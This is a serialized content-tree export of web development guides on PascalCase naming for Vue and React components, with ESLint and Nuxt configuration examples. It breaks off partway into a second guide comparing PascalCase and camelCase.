Naming",{"type":8,"value":162857,"toc":163713},[162858,162862,162880,162887,162891,162893,162900,162930,162985,162993,162996,162999,163086,163089,163093,163214,163218,163221,163256,163259,163263,163267,163367,163371,163453,163457,163467,163492,163543,163545,163549,163558,163562,163582,163586,163595,163599,163602,163671,163673,163688,163690,163703,163710],[11,162859,162861],{"id":162860},"why-pascalcase-for-components","Why PascalCase for Components",[16,162863,162864,162865,1459,162867,1459,162869,162872,162873,1459,162876,162879],{},"Vue and React both mandate PascalCase for component names. This isn't arbitrary — it solves a real ambiguity problem. In HTML, lowercase tags are reserved for native elements (",[143,162866,69003],{},[143,162868,126772],{},[143,162870,162871],{},"\u003Cbutton>","). PascalCase names (",[143,162874,162875],{},"\u003CUserProfile>",[143,162877,162878],{},"\u003CSearchBar>",") immediately distinguish custom components from native elements.",[16,162881,162882,162883,162886],{},"Without this convention, ",[143,162884,162885],{},"\u003Cuserprofile>"," could be a custom component or an unknown HTML element. The browser treats unknown lowercase tags as inline elements, which leads to subtle rendering bugs. PascalCase eliminates the ambiguity entirely.",[11,162888,162890],{"id":162889},"framework-rules","Framework Rules",[33,162892,116778],{"id":17358},[16,162894,162895,162896,162899],{},"Vue's style guide lists PascalCase component names as ",[47,162897,162898],{},"essential"," (the strongest category). The rules:",[41,162901,162902,162911,162921],{},[44,162903,162904,162905,1459,162908],{},"Component files: ",[143,162906,162907],{},"UserProfile.vue",[143,162909,162910],{},"SearchBar.vue",[44,162912,162913,162914,1531,162917,162920],{},"In templates: ",[143,162915,162916],{},"\u003CUserProfile \u002F>",[143,162918,162919],{},"\u003Cuser-profile \u002F>"," (both work, but PascalCase is preferred)",[44,162922,162923,162924,162926,162927],{},"In ",[143,162925,29075],{}," registration: ",[143,162928,162929],{},"UserProfile",[135,162931,162933],{"className":1607,"code":162932,"language":1609,"meta":141,"style":141},"\u002F\u002F Component registration\nimport UserProfile from '.\u002FUserProfile.vue'\n\nexport default {\n  components: {\n    UserProfile  \u002F\u002F PascalCase key\n  }\n}\n",[143,162934,162935,162940,162952,162956,162964,162969,162977,162981],{"__ignoreMap":141},[1560,162936,162937],{"class":1562,"line":1563},[1560,162938,162939],{"class":1649},"\u002F\u002F Component registration\n",[1560,162941,162942,162944,162947,162949],{"class":1562,"line":337},[1560,162943,8162],{"class":1669},[1560,162945,162946],{"class":1570}," UserProfile ",[1560,162948,8168],{"class":1669},[1560,162950,162951],{"class":5634}," '.\u002FUserProfile.vue'\n",[1560,162953,162954],{"class":1562,"line":343},[1560,162955,1702],{"emptyLinePlaceholder":363},[1560,162957,162958,162960,162962],{"class":1562,"line":365},[1560,162959,9187],{"class":1669},[1560,162961,11837],{"class":1669},[1560,162963,1571],{"class":1570},[1560,162965,162966],{"class":1562,"line":889},[1560,162967,162968],{"class":1570},"  components: {\n",[1560,162970,162971,162974],{"class":1562,"line":1710},[1560,162972,162973],{"class":1570},"    UserProfile  ",[1560,162975,162976],{"class":1649},"\u002F\u002F PascalCase key\n",[1560,162978,162979],{"class":1562,"line":1717},[1560,162980,4959],{"class":1570},[1560,162982,162983],{"class":1562,"line":1747},[1560,162984,1585],{"class":1570},[16,162986,162987,162988,28833,162991,468],{},"Vue auto-imports in Nuxt follow the same rule: ",[143,162989,162990],{},"components\u002FUserProfile.vue",[143,162992,162875],{},[33,162994,116856],{"id":162995},"react",[16,162997,162998],{},"React requires PascalCase more strictly — lowercase component names render as native HTML elements:",[135,163000,163002],{"className":116860,"code":163001,"language":116862,"meta":141,"style":141},"\u002F\u002F This renders a \u003Cuserprofile> HTML element — NOT your component\nfunction userprofile() { return \u003Cdiv>Hello\u003C\u002Fdiv> }\n\u003Cuserprofile \u002F>  \u002F\u002F BUG: renders unknown HTML element\n\n\u002F\u002F This renders your React component correctly\nfunction UserProfile() { return \u003Cdiv>Hello\u003C\u002Fdiv> }\n\u003CUserProfile \u002F>  \u002F\u002F Correct\n",[143,163003,163004,163009,163033,163046,163050,163055,163076],{"__ignoreMap":141},[1560,163005,163006],{"class":1562,"line":1563},[1560,163007,163008],{"class":1649},"\u002F\u002F This renders a \u003Cuserprofile> HTML element — NOT your component\n",[1560,163010,163011,163013,163016,163019,163021,163023,163025,163028,163030],{"class":1562,"line":337},[1560,163012,8648],{"class":1669},[1560,163014,163015],{"class":1566}," userprofile",[1560,163017,163018],{"class":1570},"() { ",[1560,163020,28313],{"class":1669},[1560,163022,28030],{"class":1570},[1560,163024,7291],{"class":2484},[1560,163026,163027],{"class":1570},">Hello\u003C\u002F",[1560,163029,7291],{"class":2484},[1560,163031,163032],{"class":1570},"> }\n",[1560,163034,163035,163037,163040,163043],{"class":1562,"line":343},[1560,163036,6431],{"class":1570},[1560,163038,163039],{"class":2484},"userprofile",[1560,163041,163042],{"class":1570}," \u002F>  ",[1560,163044,163045],{"class":1649},"\u002F\u002F BUG: renders unknown HTML element\n",[1560,163047,163048],{"class":1562,"line":365},[1560,163049,1702],{"emptyLinePlaceholder":363},[1560,163051,163052],{"class":1562,"line":889},[1560,163053,163054],{"class":1649},"\u002F\u002F This renders your React component correctly\n",[1560,163056,163057,163059,163062,163064,163066,163068,163070,163072,163074],{"class":1562,"line":1710},[1560,163058,8648],{"class":1669},[1560,163060,163061],{"class":1566}," UserProfile",[1560,163063,163018],{"class":1570},[1560,163065,28313],{"class":1669},[1560,163067,28030],{"class":1570},[1560,163069,7291],{"class":2484},[1560,163071,163027],{"class":1570},[1560,163073,7291],{"class":2484},[1560,163075,163032],{"class":1570},[1560,163077,163078,163080,163082,163084],{"class":1562,"line":1717},[1560,163079,6431],{"class":1570},[1560,163081,162929],{"class":1576},[1560,163083,163042],{"class":1570},[1560,163085,24380],{"class":1649},[16,163087,163088],{},"This distinction is enforced at the JSX level. React's JSX transform treats lowercase tags as strings (native elements) and PascalCase tags as component references.",[11,163090,163092],{"id":163091},"naming-patterns-by-component-type","Naming Patterns by Component Type",[193,163094,163095,163108],{},[196,163096,163097],{},[199,163098,163099,163102,163105],{},[202,163100,163101],{},"Component Type",[202,163103,163104],{},"PascalCase Example",[202,163106,163107],{},"File Name",[211,163109,163110,163125,163140,163154,163169,163184,163199],{},[199,163111,163112,163115,163120],{},[216,163113,163114],{},"Page section",[216,163116,163117],{},[143,163118,163119],{},"HeroSection",[216,163121,163122],{},[143,163123,163124],{},"HeroSection.vue",[199,163126,163127,163130,163135],{},[216,163128,163129],{},"UI primitive",[216,163131,163132],{},[143,163133,163134],{},"BaseButton",[216,163136,163137],{},[143,163138,163139],{},"BaseButton.vue",[199,163141,163142,163144,163149],{},[216,163143,77416],{},[216,163145,163146],{},[143,163147,163148],{},"AppHeader",[216,163150,163151],{},[143,163152,163153],{},"AppHeader.vue",[199,163155,163156,163159,163164],{},[216,163157,163158],{},"Form",[216,163160,163161],{},[143,163162,163163],{},"LoginForm",[216,163165,163166],{},[143,163167,163168],{},"LoginForm.vue",[199,163170,163171,163174,163179],{},[216,163172,163173],{},"List item",[216,163175,163176],{},[143,163177,163178],{},"ProductCard",[216,163180,163181],{},[143,163182,163183],{},"ProductCard.vue",[199,163185,163186,163189,163194],{},[216,163187,163188],{},"Modal\u002Fdialog",[216,163190,163191],{},[143,163192,163193],{},"ConfirmDialog",[216,163195,163196],{},[143,163197,163198],{},"ConfirmDialog.vue",[199,163200,163201,163204,163209],{},[216,163202,163203],{},"Utility",[216,163205,163206],{},[143,163207,163208],{},"AnimatedCounter",[216,163210,163211],{},[143,163212,163213],{},"AnimatedCounter.vue",[33,163215,163217],{"id":163216},"prefix-conventions","Prefix Conventions",[16,163219,163220],{},"Many teams add prefixes to signal component categories:",[41,163222,163223,163233,163244],{},[44,163224,163225,1663,163227,1459,163229,163232],{},[47,163226,158587],{},[143,163228,163134],{},[143,163230,163231],{},"BaseInput"," — reusable primitives",[44,163234,163235,1663,163238,1459,163240,163243],{},[47,163236,163237],{},"App",[143,163239,163148],{},[143,163241,163242],{},"AppSidebar"," — application layout components",[44,163245,163246,1663,163249,1459,163252,163255],{},[47,163247,163248],{},"The",[143,163250,163251],{},"TheNavigation",[143,163253,163254],{},"TheFooter"," — singleton components (one per page)",[16,163257,163258],{},"These prefixes are optional but help organize large component libraries.",[11,163260,163262],{"id":163261},"enforcing-pascalcase","Enforcing PascalCase",[33,163264,163266],{"id":163265},"eslint-for-vue","ESLint for Vue",[135,163268,163270],{"className":1607,"code":163269,"language":1609,"meta":141,"style":141},"\u002F\u002F eslint.config.js\nimport vuePlugin from 'eslint-plugin-vue'\n\nexport default [\n  ...vuePlugin.configs['flat\u002Frecommended'],\n  {\n    rules: {\n      'vue\u002Fcomponent-definition-name-casing': ['error', 'PascalCase'],\n      'vue\u002Fcomponent-name-in-template-casing': ['error', 'PascalCase'],\n    }\n  }\n]\n",[143,163271,163272,163277,163289,163293,163301,163314,163318,163323,163340,163355,163359,163363],{"__ignoreMap":141},[1560,163273,163274],{"class":1562,"line":1563},[1560,163275,163276],{"class":1649},"\u002F\u002F eslint.config.js\n",[1560,163278,163279,163281,163284,163286],{"class":1562,"line":337},[1560,163280,8162],{"class":1669},[1560,163282,163283],{"class":1570}," vuePlugin ",[1560,163285,8168],{"class":1669},[1560,163287,163288],{"class":5634}," 'eslint-plugin-vue'\n",[1560,163290,163291],{"class":1562,"line":343},[1560,163292,1702],{"emptyLinePlaceholder":363},[1560,163294,163295,163297,163299],{"class":1562,"line":365},[1560,163296,9187],{"class":1669},[1560,163298,11837],{"class":1669},[1560,163300,39111],{"class":1570},[1560,163302,163303,163306,163309,163312],{"class":1562,"line":889},[1560,163304,163305],{"class":1669},"  ...",[1560,163307,163308],{"class":1570},"vuePlugin.configs[",[1560,163310,163311],{"class":5634},"'flat\u002Frecommended'",[1560,163313,12044],{"class":1570},[1560,163315,163316],{"class":1562,"line":1710},[1560,163317,80605],{"class":1570},[1560,163319,163320],{"class":1562,"line":1717},[1560,163321,163322],{"class":1570},"    rules: {\n",[1560,163324,163325,163328,163330,163333,163335,163338],{"class":1562,"line":1747},[1560,163326,163327],{"class":5634},"      'vue\u002Fcomponent-definition-name-casing'",[1560,163329,37187],{"class":1570},[1560,163331,163332],{"class":5634},"'error'",[1560,163334,1459],{"class":1570},[1560,163336,163337],{"class":5634},"'PascalCase'",[1560,163339,12044],{"class":1570},[1560,163341,163342,163345,163347,163349,163351,163353],{"class":1562,"line":2507},[1560,163343,163344],{"class":5634},"      'vue\u002Fcomponent-name-in-template-casing'",[1560,163346,37187],{"class":1570},[1560,163348,163332],{"class":5634},[1560,163350,1459],{"class":1570},[1560,163352,163337],{"class":5634},[1560,163354,12044],{"class":1570},[1560,163356,163357],{"class":1562,"line":2524},[1560,163358,11612],{"class":1570},[1560,163360,163361],{"class":1562,"line":2529},[1560,163362,4959],{"class":1570},[1560,163364,163365],{"class":1562,"line":2534},[1560,163366,37203],{"class":1570},[33,163368,163370],{"id":163369},"eslint-for-react","ESLint for React",[135,163372,163374],{"className":1607,"code":163373,"language":1609,"meta":141,"style":141},"\u002F\u002F eslint.config.js\nimport reactPlugin from 'eslint-plugin-react'\n\nexport default [\n  {\n    rules: {\n      'react\u002Fjsx-pascal-case': ['error', {\n        allowAllCaps: false,\n        ignore: [],\n      }]\n    }\n  }\n]\n",[143,163375,163376,163380,163392,163396,163404,163408,163412,163423,163432,163437,163441,163445,163449],{"__ignoreMap":141},[1560,163377,163378],{"class":1562,"line":1563},[1560,163379,163276],{"class":1649},[1560,163381,163382,163384,163387,163389],{"class":1562,"line":337},[1560,163383,8162],{"class":1669},[1560,163385,163386],{"class":1570}," reactPlugin ",[1560,163388,8168],{"class":1669},[1560,163390,163391],{"class":5634}," 'eslint-plugin-react'\n",[1560,163393,163394],{"class":1562,"line":343},[1560,163395,1702],{"emptyLinePlaceholder":363},[1560,163397,163398,163400,163402],{"class":1562,"line":365},[1560,163399,9187],{"class":1669},[1560,163401,11837],{"class":1669},[1560,163403,39111],{"class":1570},[1560,163405,163406],{"class":1562,"line":889},[1560,163407,80605],{"class":1570},[1560,163409,163410],{"class":1562,"line":1710},[1560,163411,163322],{"class":1570},[1560,163413,163414,163417,163419,163421],{"class":1562,"line":1717},[1560,163415,163416],{"class":5634},"      'react\u002Fjsx-pascal-case'",[1560,163418,37187],{"class":1570},[1560,163420,163332],{"class":5634},[1560,163422,49495],{"class":1570},[1560,163424,163425,163428,163430],{"class":1562,"line":1747},[1560,163426,163427],{"class":1570},"        allowAllCaps: ",[1560,163429,13730],{"class":1576},[1560,163431,11943],{"class":1570},[1560,163433,163434],{"class":1562,"line":2507},[1560,163435,163436],{"class":1570},"        ignore: [],\n",[1560,163438,163439],{"class":1562,"line":2524},[1560,163440,49516],{"class":1570},[1560,163442,163443],{"class":1562,"line":2529},[1560,163444,11612],{"class":1570},[1560,163446,163447],{"class":1562,"line":2534},[1560,163448,4959],{"class":1570},[1560,163450,163451],{"class":1562,"line":2542},[1560,163452,37203],{"class":1570},[33,163454,163456],{"id":163455},"nuxt-auto-import-naming","Nuxt Auto-Import Naming",[16,163458,163459,163460,28833,163463,163466],{},"Nuxt generates component names from file paths. ",[143,163461,163462],{},"components\u002Ftools\u002FJsonFormatter.vue",[143,163464,163465],{},"ToolsJsonFormatter",". To keep names clean:",[41,163468,163469,163477,163486],{},[44,163470,163471,163472,52609,163475],{},"Use flat directories for frequent components: ",[143,163473,163474],{},"components\u002FSearchBar.vue",[143,163476,162878],{},[44,163478,163479,163480,52609,163483],{},"Use nested directories for grouping: ",[143,163481,163482],{},"components\u002Fadmin\u002FUserTable.vue",[143,163484,163485],{},"\u003CAdminUserTable>",[44,163487,163488,163489,74768],{},"Configure path prefixes in ",[143,163490,163491],{},"nuxt.config.ts",[135,163493,163495],{"className":17509,"code":163494,"language":17511,"meta":141,"style":141},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  components: [\n    { path: '~\u002Fcomponents', pathPrefix: false },  \u002F\u002F Flat naming regardless of directory\n  ]\n})\n",[143,163496,163497,163501,163511,163516,163535,163539],{"__ignoreMap":141},[1560,163498,163499],{"class":1562,"line":1563},[1560,163500,41398],{"class":1649},[1560,163502,163503,163505,163507,163509],{"class":1562,"line":337},[1560,163504,9187],{"class":1669},[1560,163506,11837],{"class":1669},[1560,163508,41407],{"class":1566},[1560,163510,17525],{"class":1570},[1560,163512,163513],{"class":1562,"line":343},[1560,163514,163515],{"class":1570},"  components: [\n",[1560,163517,163518,163521,163524,163527,163529,163532],{"class":1562,"line":365},[1560,163519,163520],{"class":1570},"    { path: ",[1560,163522,163523],{"class":5634},"'~\u002Fcomponents'",[1560,163525,163526],{"class":1570},", pathPrefix: ",[1560,163528,13730],{"class":1576},[1560,163530,163531],{"class":1570}," },  ",[1560,163533,163534],{"class":1649},"\u002F\u002F Flat naming regardless of directory\n",[1560,163536,163537],{"class":1562,"line":889},[1560,163538,49526],{"class":1570},[1560,163540,163541],{"class":1562,"line":1710},[1560,163542,1626],{"class":1570},[11,163544,2341],{"id":2340},[33,163546,163548],{"id":163547},"_1-abbreviated-names","1. Abbreviated Names",[16,163550,59011,163551,1531,163554,163557],{},[143,163552,163553],{},"UsrPrfl",[143,163555,163556],{},"BtnGrp",". Component names should be descriptive. The extra characters cost nothing in terms of performance, but cryptic names cost a lot in readability.",[33,163559,163561],{"id":163560},"_2-single-word-names","2. Single-Word Names",[16,163563,163564,1459,163567,1459,163570,163573,163574,1459,163576,1459,163579,468],{},[143,163565,163566],{},"Button.vue",[143,163568,163569],{},"Form.vue",[143,163571,163572],{},"Table.vue"," — these collide with native HTML elements and third-party libraries. Prefix them: ",[143,163575,163134],{},[143,163577,163578],{},"ContactForm",[143,163580,163581],{},"DataTable",[33,163583,163585],{"id":163584},"_3-inconsistent-casing-in-templates","3. Inconsistent Casing in Templates",[16,163587,163588,163589,1856,163591,163594],{},"Mixing ",[143,163590,162875],{},[143,163592,163593],{},"\u003Cuser-profile>"," in the same project confuses readers. Pick one and enforce it with ESLint.",[33,163596,163598],{"id":163597},"_4-prop-names-in-pascalcase","4. Prop Names in PascalCase",[16,163600,163601],{},"Props should use camelCase in JavaScript and kebab-case in templates — never PascalCase:",[135,163603,163605],{"className":6417,"code":163604,"language":6419,"meta":141,"style":141},"\u003C!-- Bad -->\n\u003CUserProfile UserName=\"john\" \u002F>\n\n\u003C!-- Good -->\n\u003CUserProfile userName=\"john\" \u002F>\n\u003C!-- or in templates: -->\n\u003CUserProfile user-name=\"john\" \u002F>\n",[143,163606,163607,163612,163628,163632,163636,163651,163656],{"__ignoreMap":141},[1560,163608,163609],{"class":1562,"line":1563},[1560,163610,163611],{"class":1649},"\u003C!-- Bad -->\n",[1560,163613,163614,163616,163618,163621,163623,163626],{"class":1562,"line":337},[1560,163615,6431],{"class":1570},[1560,163617,162929],{"class":5159},[1560,163619,163620],{"class":1566}," UserName",[1560,163622,7297],{"class":1570},[1560,163624,163625],{"class":5634},"\"john\"",[1560,163627,124341],{"class":1570},[1560,163629,163630],{"class":1562,"line":343},[1560,163631,1702],{"emptyLinePlaceholder":363},[1560,163633,163634],{"class":1562,"line":365},[1560,163635,152409],{"class":1649},[1560,163637,163638,163640,163642,163645,163647,163649],{"class":1562,"line":889},[1560,163639,6431],{"class":1570},[1560,163641,162929],{"class":5159},[1560,163643,163644],{"class":1566}," userName",[1560,163646,7297],{"class":1570},[1560,163648,163625],{"class":5634},[1560,163650,124341],{"class":1570},[1560,163652,163653],{"class":1562,"line":1710},[1560,163654,163655],{"class":1649},"\u003C!-- or in templates: -->\n",[1560,163657,163658,163660,163662,163665,163667,163669],{"class":1562,"line":1717},[1560,163659,6431],{"class":1570},[1560,163661,162929],{"class":5159},[1560,163663,163664],{"class":1566}," user-name",[1560,163666,7297],{"class":1570},[1560,163668,163625],{"class":5634},[1560,163670,124341],{"class":1570},[11,163672,321],{"id":320},[41,163674,163675,163679,163684],{},[44,163676,163677],{},[98,163678,23827],{"href":23826},[44,163680,163681],{},[98,163682,163683],{"href":23854},"CamelCase vs Snake Case",[44,163685,163686],{},[98,163687,23834],{"href":23833},[11,163689,286],{"id":285},[16,163691,163692,163693,5255,163696,1459,163698,5255,163700,163702],{},"Need to convert component names between casings? Transform ",[143,163694,163695],{},"user-profile",[143,163697,162929],{},[143,163699,23347],{},[143,163701,27917],{},", and more with our free tool.",[16,163704,4531,163705],{},[98,163706,163707],{"href":23815},[47,163708,163709],{},"Free Case Converter",[2043,163711,163712],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":163714},[163715,163716,163720,163723,163728,163734,163735],{"id":162860,"depth":337,"text":162861},{"id":162889,"depth":337,"text":162890,"children":163717},[163718,163719],{"id":17358,"depth":343,"text":116778},{"id":162995,"depth":343,"text":116856},{"id":163091,"depth":337,"text":163092,"children":163721},[163722],{"id":163216,"depth":343,"text":163217},{"id":163261,"depth":337,"text":163262,"children":163724},[163725,163726,163727],{"id":163265,"depth":343,"text":163266},{"id":163369,"depth":343,"text":163370},{"id":163455,"depth":343,"text":163456},{"id":2340,"depth":337,"text":2341,"children":163729},[163730,163731,163732,163733],{"id":163547,"depth":343,"text":163548},{"id":163560,"depth":343,"text":163561},{"id":163584,"depth":343,"text":163585},{"id":163597,"depth":343,"text":163598},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Why Vue and React frameworks mandate PascalCase and how to enforce it in your codebase.",{"immutable":363},"\u002Fguides\u002Fpascalcase-component-naming",{"title":162855,"description":163736},"guides\u002Fpascalcase-component-naming","OxpJuBMcajTFoSdoYvVy489S5PrK73lXhc592650esA",{"id":163743,"title":163744,"body":163745,"date":2070,"description":164944,"extension":361,"meta":164945,"navigation":363,"path":164946,"readingTime":1710,"seo":164947,"stem":164948,"__hash__":164949},"guides\u002Fguides\u002Fpascalcase-vs-camelcase.md","PascalCase vs camelCase: When to Use Each Convention",{"type":8,"value":163746,"toc":164916},[163747,163751,163754,163798,163807,163811,163815,163818,163857,163861,163864,163910,163920,163924,164006,164010,164063,164067,164116,164120,164124,164178,164182,164238,164242,164300,164304,164345,164349,164510,164519,164523,164527,164530,164546,164550,164553,164587,164591,164627,164631,164642,164683,164687,164690,164762,164765,164767,164856,164858,164889,164891,164905,164907,164913],[11,163748,163750],{"id":163749},"the-two-most-common-naming-conventions","The Two Most Common Naming Conventions",[16,163752,163753],{},"PascalCase and camelCase are the two dominant naming conventions in modern programming. They differ by one character: whether the first letter is uppercase or lowercase.",[193,163755,163756,163767],{},[196,163757,163758],{},[199,163759,163760,163763,163765],{},[202,163761,163762],{},"Convention",[202,163764,18376],{},[202,163766,133],{},[211,163768,163769,163783],{},[199,163770,163771,163773,163776],{},[216,163772,27917],{},[216,163774,163775],{},"First letter of every word uppercase",[216,163777,163778,1459,163780],{},[143,163779,162929],{},[143,163781,163782],{},"JsonFormatter",[199,163784,163785,163787,163790],{},[216,163786,23337],{},[216,163788,163789],{},"First word lowercase, rest uppercase",[216,163791,163792,1459,163795],{},[143,163793,163794],{},"userProfile",[143,163796,163797],{},"jsonFormatter",[16,163799,163800,163801,163803,163804,163806],{},"Choosing the right convention isn't arbitrary — it communicates what a name represents. When you see ",[143,163802,162929],{},", you expect a class or component. When you see ",[143,163805,163794],{},", you expect a variable or function. This shared understanding makes code faster to read and easier to maintain.",[11,163808,163810],{"id":163809},"when-to-use-pascalcase","When to Use PascalCase",[33,163812,163814],{"id":163813},"classes-and-constructors","Classes and Constructors",[16,163816,163817],{},"In most object-oriented languages, PascalCase signals that a name is a class or constructor function:",[135,163819,163821],{"className":1607,"code":163820,"language":1609,"meta":141,"style":141},"class UserProfile { }\nclass JsonFormatter { }\nconst ErrorBoundary = defineComponent({ })\n",[143,163822,163823,163833,163842],{"__ignoreMap":141},[1560,163824,163825,163828,163830],{"class":1562,"line":1563},[1560,163826,163827],{"class":1669},"class",[1560,163829,163061],{"class":1566},[1560,163831,163832],{"class":1570}," { }\n",[1560,163834,163835,163837,163840],{"class":1562,"line":337},[1560,163836,163827],{"class":1669},[1560,163838,163839],{"class":1566}," JsonFormatter",[1560,163841,163832],{"class":1570},[1560,163843,163844,163846,163849,163851,163854],{"class":1562,"line":343},[1560,163845,8180],{"class":1669},[1560,163847,163848],{"class":1576}," ErrorBoundary",[1560,163850,8186],{"class":1669},[1560,163852,163853],{"class":1566}," defineComponent",[1560,163855,163856],{"class":1570},"({ })\n",[33,163858,163860],{"id":163859},"react-and-vue-components","React and Vue Components",[16,163862,163863],{},"Both React and Vue use PascalCase for component names:",[135,163865,163867],{"className":116860,"code":163866,"language":116862,"meta":141,"style":141},"\u002F\u002F React\n\u003CUserProfile name=\"Alice\" \u002F>\n\n\u002F\u002F Vue template\n\u003CUserProfile name=\"Alice\" \u002F>\n",[143,163868,163869,163873,163887,163891,163896],{"__ignoreMap":141},[1560,163870,163871],{"class":1562,"line":1563},[1560,163872,135641],{"class":1649},[1560,163874,163875,163877,163879,163881,163883,163885],{"class":1562,"line":337},[1560,163876,6431],{"class":1570},[1560,163878,162929],{"class":1576},[1560,163880,108846],{"class":1566},[1560,163882,7297],{"class":1669},[1560,163884,23503],{"class":5634},[1560,163886,124341],{"class":1570},[1560,163888,163889],{"class":1562,"line":343},[1560,163890,1702],{"emptyLinePlaceholder":363},[1560,163892,163893],{"class":1562,"line":365},[1560,163894,163895],{"class":1649},"\u002F\u002F Vue template\n",[1560,163897,163898,163900,163902,163904,163906,163908],{"class":1562,"line":889},[1560,163899,6431],{"class":1570},[1560,163901,162929],{"class":1576},[1560,163903,108846],{"class":1566},[1560,163905,7297],{"class":1669},[1560,163907,23503],{"class":5634},[1560,163909,124341],{"class":1570},[16,163911,163912,163913,163916,163917,163919],{},"PascalCase distinguishes components from HTML elements. ",[143,163914,163915],{},"\u003CuserProfile>"," looks like a custom element; ",[143,163918,162875],{}," clearly signals a component.",[33,163921,163923],{"id":163922},"typescript-types-and-interfaces","TypeScript Types and Interfaces",[135,163925,163927],{"className":17509,"code":163926,"language":17511,"meta":141,"style":141},"interface UserProfile {\n  firstName: string\n  lastName: string\n}\n\ntype ApiResponse\u003CT> = {\n  data: T\n  status: number\n}\n",[143,163928,163929,163937,163947,163956,163960,163964,163982,163992,164002],{"__ignoreMap":141},[1560,163930,163931,163933,163935],{"class":1562,"line":1563},[1560,163932,133994],{"class":1669},[1560,163934,163061],{"class":1566},[1560,163936,1571],{"class":1570},[1560,163938,163939,163942,163944],{"class":1562,"line":337},[1560,163940,163941],{"class":2219},"  firstName",[1560,163943,8037],{"class":1669},[1560,163945,163946],{"class":1576}," string\n",[1560,163948,163949,163952,163954],{"class":1562,"line":343},[1560,163950,163951],{"class":2219},"  lastName",[1560,163953,8037],{"class":1669},[1560,163955,163946],{"class":1576},[1560,163957,163958],{"class":1562,"line":365},[1560,163959,1585],{"class":1570},[1560,163961,163962],{"class":1562,"line":889},[1560,163963,1702],{"emptyLinePlaceholder":363},[1560,163965,163966,163968,163971,163973,163975,163978,163980],{"class":1562,"line":1710},[1560,163967,81641],{"class":1669},[1560,163969,163970],{"class":1566}," ApiResponse",[1560,163972,6431],{"class":1570},[1560,163974,23169],{"class":1566},[1560,163976,163977],{"class":1570},"> ",[1560,163979,7297],{"class":1669},[1560,163981,1571],{"class":1570},[1560,163983,163984,163987,163989],{"class":1562,"line":1717},[1560,163985,163986],{"class":2219},"  data",[1560,163988,8037],{"class":1669},[1560,163990,163991],{"class":1566}," T\n",[1560,163993,163994,163997,163999],{"class":1562,"line":1747},[1560,163995,163996],{"class":2219},"  status",[1560,163998,8037],{"class":1669},[1560,164000,164001],{"class":1576}," number\n",[1560,164003,164004],{"class":1562,"line":2507},[1560,164005,1585],{"class":1570},[33,164007,164009],{"id":164008},"enums","Enums",[135,164011,164013],{"className":17509,"code":164012,"language":17511,"meta":141,"style":141},"enum HttpStatus {\n  Ok = 200,\n  NotFound = 404,\n  InternalServerError = 500,\n}\n",[143,164014,164015,164025,164036,164048,164059],{"__ignoreMap":141},[1560,164016,164017,164020,164023],{"class":1562,"line":1563},[1560,164018,164019],{"class":1669},"enum",[1560,164021,164022],{"class":1566}," HttpStatus",[1560,164024,1571],{"class":1570},[1560,164026,164027,164030,164032,164034],{"class":1562,"line":337},[1560,164028,164029],{"class":1576},"  Ok",[1560,164031,8186],{"class":1669},[1560,164033,58847],{"class":1576},[1560,164035,11943],{"class":1570},[1560,164037,164038,164041,164043,164046],{"class":1562,"line":343},[1560,164039,164040],{"class":1576},"  NotFound",[1560,164042,8186],{"class":1669},[1560,164044,164045],{"class":1576}," 404",[1560,164047,11943],{"class":1570},[1560,164049,164050,164053,164055,164057],{"class":1562,"line":365},[1560,164051,164052],{"class":1576},"  InternalServerError",[1560,164054,8186],{"class":1669},[1560,164056,33565],{"class":1576},[1560,164058,11943],{"class":1570},[1560,164060,164061],{"class":1562,"line":889},[1560,164062,1585],{"class":1570},[33,164064,164066],{"id":164065},"namespace-like-exports","Namespace-like Exports",[135,164068,164070],{"className":1607,"code":164069,"language":1609,"meta":141,"style":141},"export const ApiClient = {\n  get(url) { },\n  post(url, data) { },\n}\n",[143,164071,164072,164085,164097,164112],{"__ignoreMap":141},[1560,164073,164074,164076,164078,164081,164083],{"class":1562,"line":1563},[1560,164075,9187],{"class":1669},[1560,164077,9190],{"class":1669},[1560,164079,164080],{"class":1576}," ApiClient",[1560,164082,8186],{"class":1669},[1560,164084,1571],{"class":1570},[1560,164086,164087,164090,164092,164094],{"class":1562,"line":337},[1560,164088,164089],{"class":1566},"  get",[1560,164091,1688],{"class":1570},[1560,164093,11310],{"class":2219},[1560,164095,164096],{"class":1570},") { },\n",[1560,164098,164099,164102,164104,164106,164108,164110],{"class":1562,"line":343},[1560,164100,164101],{"class":1566},"  post",[1560,164103,1688],{"class":1570},[1560,164105,11310],{"class":2219},[1560,164107,1459],{"class":1570},[1560,164109,12781],{"class":2219},[1560,164111,164096],{"class":1570},[1560,164113,164114],{"class":1562,"line":365},[1560,164115,1585],{"class":1570},[11,164117,164119],{"id":164118},"when-to-use-camelcase","When to Use camelCase",[33,164121,164123],{"id":164122},"variables-and-properties","Variables and 